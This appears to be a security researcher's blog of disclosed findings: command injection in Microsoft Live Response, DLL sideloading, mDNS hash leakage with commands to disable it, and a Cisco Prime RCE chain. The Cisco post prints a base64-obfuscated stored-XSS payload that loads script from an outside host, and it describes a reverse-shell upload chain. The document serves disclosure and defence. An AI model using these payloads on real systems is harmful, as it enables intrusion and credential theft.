Microsoft Live Response - command injection/RCE

What is "Live response"

From Microsoft Docs

Live response gives security operations teams instantaneous access to a device (also referred to as a machine) using a remote shell connection. This gives you the power to do in-depth investigative work and take immediate response actions to promptly contain identified threats in real time.

Live response is designed to enhance investigations by enabling your security operations team to collect forensic data, run scripts, send suspicious entities for analysis, remediate threats, and proactively hunt for emerging threats.

The Live Response console, is basically a restricted Powershell shell with its own commands. Depending on the role that's been granted to you, you can run basic or advanced live response commands. The "basic commands" are very restricted, but the "advanced commands", give you ability to upload Powershell-scripts to a repository and run them on any computer you connect to. The console runs in the context of "NT System", so you can imagine the impact if an account with Advanced commands rights got compromised.

The problem here, is that you probably want members of your security operations team to have the ability to run scripts, like if you have uploaded a script-toolkit to your repository. But one should also keep the number of users that can upload new scripts to a minimum.

To further secure the environment and accomplish this, one should only allow digitally signed scripts. (this is the default setting and should not be disabled). This way you can upload a script-toolkit to the repository and allow every member of your team run them, but only scripts signed with a trusted signing certificate (limit access to those certificates of course) may upload a executable script.

Sometimes you need to be able to pass parameters to script too. Microsoft Live Response allows this, by letting you tick "Script parameters" when uploading. This marks the script as a parameter-script and you can pass parameters to it when running it.

LiveResponse-params

What I found was that you could inject commands into the parameter. Like so:

"'parameter';Command"

This would then execute any command added. In the example below, executing

whoami

LiveResponse2

I even managed getting a Powershell Reverseshell from one of our servers.

This meant that if an account with rights to run scripts would be compromised, the attacker could run any command on any computer/server as the nt-Authority\System account.

Complete local domain pwnage from the cloud!

I reported this to Microsoft Security Response Center. I responsibly waited for them to address this before disclosing and they now reported back that the issue has been fixed. Earning me an acknowledgement.

DLL-Sideloading

What is it?

It is a form of DLL-Hijacking by-proxy.

What is DLL-Hijacking

DLL-Hijacking is when a application loads a dll-file from a location where an attacker can write. Replacing that DLL with a DLL containing a payload of their choice, will compromise the account running the application. This could be a ordinary user, a administrator or even "NT System", if the application is a service. You cannot replace just any DLL-file. It has to be a file not really needed for the application to function properly. That means it isn't possible in just any application either.

An example:

Autodesk AutoCAD 2007 - 'color.dll' DLL Hijacking

DLL-Sideloading

In DLL-sideloading, we also look for dll-files located in locations where we could write. But here, we use a dll-proxy file containing our payload and proxying the applications requests to the original file or a local copy of the original file. This way, we don't break the application and it will continue to work normally.

Even if the application doesn't have DLL-files in its application directory, it could be vulnerable for this kind of attack if it doesn't call the DLL-file(s) using absolute path. What happens then, is that it will look in its current location first and then look in %PATH% to find it.

Like in the screenshot below: Microsoft Teams, trying to load dbghelp.dll from current folder first, fails and continues looking for it in PATH, finding the requested file in c:\windows\system32

procmon

Path

A lot of the modern applications, installed in the users %appdata% appears to be vulnerable to DLL-Sideloading. As the user have full control over that folder an attacker could use this to gain access and persistance through e.g. a phishing attack.

In this video, I have shown how a DLL-Sideloading attack works and also that enabling AppLocker without enforcing DLL-rules, is of no use at all.

header

mDNS - The informal informer

(Snitches Get Stitches)

I made a little POC video back in April, showing the dangers of leaving LLMNR enabled on your Windows computers.


In this video, we can see there is a "feature" in Windows, making the computer sending LLMNR broadcast on every character, if you start typing a UNC path. If you place a computer running Responder on the local network, it will response to every single one of that characters, pretending to be a computer asking for authentication.

Your Windows computer gladly hands out the netNTLM-hash of the logged on user. Those hashes could easily ble cracked by an attacker if the password is easy or/and short, but it can also be relayed to other services on your network, giving the attacker access to them, without even bothering trying to crack the hash.

There have been written tons about this on blogs/articles around on the Internet. If you're not familiar with it, you can read more about Responder and relaying in this excellent article.

The same problem exists if your computer har NBT-NS (Netbios Name-Service) enabled. So, one should absolutely disable those two protocols, as they are really not needed in a corporate network.

This great article, will tell you how to go around to get that task done.

The other day I read this post on LinkedIn, showing you could use a tool named mitm6, to set up a rogue IPv6 DHCP server, and then be able to catch the hashes over IPv6 instead.

That sounded really scary and was news for me.

I had to see this for myself, so I put up Responder on a computer in my lab network. I first had to verify everything was locked down as it should, and did a testrun from a freshly installed Windows 11 with LLMNR and NBT-NS disabled.

Skjermbilde%202021-12-04%20kl.%2012.38.00

I was in for a surprise...

I didn't even get around to start mitm6! The hashes just started to furiously hit my Responder. Something had clearly changed since the last time I visited the topic. This was really strange and unexpected behaviour.

Skjermbilde%202021-12-04%20kl.%2012.40.09

This time, it looked like mDNS was the culprit!? I wasn't even aware Microsoft had implemented native mDNS support, but apparently they did at some point in Windows 10 and of course Windows 11 and Windows server 2022 has it enabled by default too!

I testet it out on a Windows 2022 Domain controller and a Windows 10 computer too. Hashes all over! mDNS had no qualms about help telling anyone interested, what my netNTLM-hash looked like...

Trying to get to the core of the problem, I inspected services running on the computer and figured out mDNS is a part of the DNSCache service, now.

dnscache

Disabling DNSCache is not an option. (tried it) It stops mDNS, but it also breaks a lot of other stuff.

Checking the registry, it turns out there is only a key named mDNS under the DNSCache service, nothing else. No parameters to be set/changed.

unknown

Spent a whole day and evening Googling for parameters, but couldn't find anything documented anywhere about the "new" mDNS feature.

Using Procmon from Sysinternals, I saw the DNSCache process queriyng the registry for some nonexisting entries.

procmon

EnableMDNS sounded exactly like what i was looking for. I added the entry, with a value of 0. Skjermbilde%202021-12-04%20kl.%2012.41.05

Confirming it being found by the DNSCaching service disabled

Then testing again from my Windows 11 computer.

Skjermbilde%202021-12-04%20kl.%2012.41.39

And....

Skjermbilde%202021-12-04%20kl.%2012.42.00

Nothing...

mDNS stopped its promiscous behaviour and everything was again good in the LANd.

My two cents: mDNS doesn't serve any purpose at all in a corporate network and should be disabled the instance you join the domain.

Don't think Microsoft have implemented control over the feature in an GPO yet.

How to disable mDNS using Powershell

set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\" -Name EnableMDNS -Value 0 -Type DWord

How to disable mDNS using the reg command

REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters" /v " EnableMDNS" /t REG_DWORD /d "0" /f

It is worth to mention; This mDNS behaviour is seen only in Windows domain environments. Not if you are running it in a Workgroup. This is really strange and I don't know why. If anyone does, I would be happy to be enlightened.

heading

Cisco Prime 3.9.1 - RCE


Introduction

This report documents the vulnerabilities we found in Cisco Prime, version 3.9.1. Each of these vulnerabilities is not critical, but by chaining them together we managed to achieve remote code execution on the Cisco Prime appliance.

In short, we had a malicious system on the network that replies to SNMP queries. By carefully crafting the sysName data, we managed to trigger a Cross Site Scripting in the Prime Management interface, after the administrator did a SNMP based discovery on the network.

The XSS is used to download a malicious Javascript from our attack server. This malicious Javascript will run in the session of the administrator, upload a JSP based reverse shell to Tomcat and then run this shell to give us access to the Cisco Prime appliance.

We could bypass the upload restrictions because the upload of malicious files to the Prime server is checked in the web UI, not on the server. A path traversal vulnerability enabled us to upload our reverse shell anywhere on the filesystem where the Prime server has permissions to write, and by placing the reverse shell in the webroot, we were able to run it locally in Tomcat.

CVE-2022-20656 - CWE-24: Path Traversal
CVE-2022-20657 - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
CWE-352: Cross-Site Request Forgery
CWE-434: Unrestricted Upload of File with Dangerous Type
CWE-749: Exposed Dangerous Method or Function



POC Video

We have also created a POC video showing the process from XSS to RCE:



CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Improper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.

Placing a XSS payload in the sysName-field reflects it onto the application, triggers the exploitation. Alternatively or in addition to; the payload can also be a HTML tag, pointing to a SMB resource, leaking the logged on Windows-user’s netNTLM hash

CWE-749: Exposed Dangerous Method or Function

Exposed Javascript function “wap.csrf_token”,makes it possible to collect CSRF-Token in XSS and use it in requests.

CWE-434: Unrestricted Upload of File with Dangerous Type

No control of filetype, makes it possible to upload jsp-files. Exploiting the Syslog-script upload. Even if the “Enable ‘Run Script’ policy action” under: “Administration / Settings / System Settings / Alarms and Events / Syslog Policies” is unticked, because that only enables or disables the option in the UI, it does nothing to the function itself.

CWE-24: Path Traversal

Path traversal vulnerability in the upload function, allows uploading files to any writable path as user “Prime”. Using this, jsp-files can be placed in webroot.

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

SessionID is also stored in browsers “LocalStorage”, so even if Session-Cookie is “HTML- Only”, it can be exfiltrated using XSS.

CWE-352: Cross-Site Request Forgery

Having control over the CSRF-Token, an attacker can now use CSRF against any function on the application.



Chaining vulnerabilities getting RCE

Walkthrough

1. SNMP

A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload

This javascript, will chain all the other vulnerabilities.

  • Using CSRF, bypassing protection by generating it's own valid CSRF-token using exposed javascript CSRF token-function.
  • Getting SessionID, stored unprotected in browsers “LocalStorage”.
  • Uploading a jsp-revshell, as there is no filetype validation.
  • Exploiting path traversal to place it where we wan't it.
  • Lastly running the uploaded JSP-file, connecting a reverse shell back to the waiting attacker.
cat /etc/snmp/snmpd.conf 

####################################################################
#
# snmpd.conf
# An example configuration file for configuring the Net-SNMP agent ('snmpd')
# See snmpd.conf(5) man page for details
# ####################################################################
# #
SECTION: System Information Setup
syslocation: The [typically physical] location of the system.
  Note that setting this value here means that when trying to
  perform an snmp SET operation to the sysLocation.0 variable will
#
#
#
make
#   the agent return the "notWritable" error code.  IE, including
# this token in the snmpd.conf file will disable write access to
#   the variable.
# arguments: location_string
sysName <img id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0d
HBzOi8vZjIwLmJlL3guanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7Cg src=x onerror=eval(atob(this.id))>Evil-Device
sysLocation Somewhere Over The Rainbow
sysContact Me

Here the payload is placed in the sysName field, slightly obfuscated using base64 to bypass filtering:

<img
id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0d
HBzOi8vZjIwLmJlL3guanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7Cg
src=x onerror=eval(atob(this.id))>

This is the base64 encoded string:

var a=document.createElement("script");a.src="https://f20.be/x.js";document.body.appendChild(a);

To replicate, replace url and base64-encode it again. Remember to host the payload on a webserver with a valid certificate over SSL. On the server interface, do a discovery using SNMP on the subnet where the “Evil device” is located.

A SNMP discovery has to be run.

scan

After a scan is run, we can see our XSS payload as a missing image icon in the results

scanresult

2. Javascript

This payload is now stored in the application and will run an external javascript when triggered/loaded. In the POC, we use the following script. This should also work for you without changing other than the revshell variables and exfilurl

revshell

This javascript, will chain all the other vulnerabilities.

  • Using CSRF, bypassing protection by generating it's own valid CSRF-token using exposed javascript CSRF token-function.
  • Getting SessionID, stored unprotected in browsers “LocalStorage”.
  • Uploading a jsp-revshell, as there is no filetype validation.
  • Exploiting path traversal to place it where we wan't it.
  • Lastly running the uploaded JSP-file, connecting a reverse shell back to the waiting attacker.

We would like to thank Cisco for working with us on mitigating these vulnerabilities.

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-epnm-path-trav-zws324yn

As always, keep your patches up and stay safe,

Andreas Finstad (@4nqr34z) and Arthur Donkers (@theart42)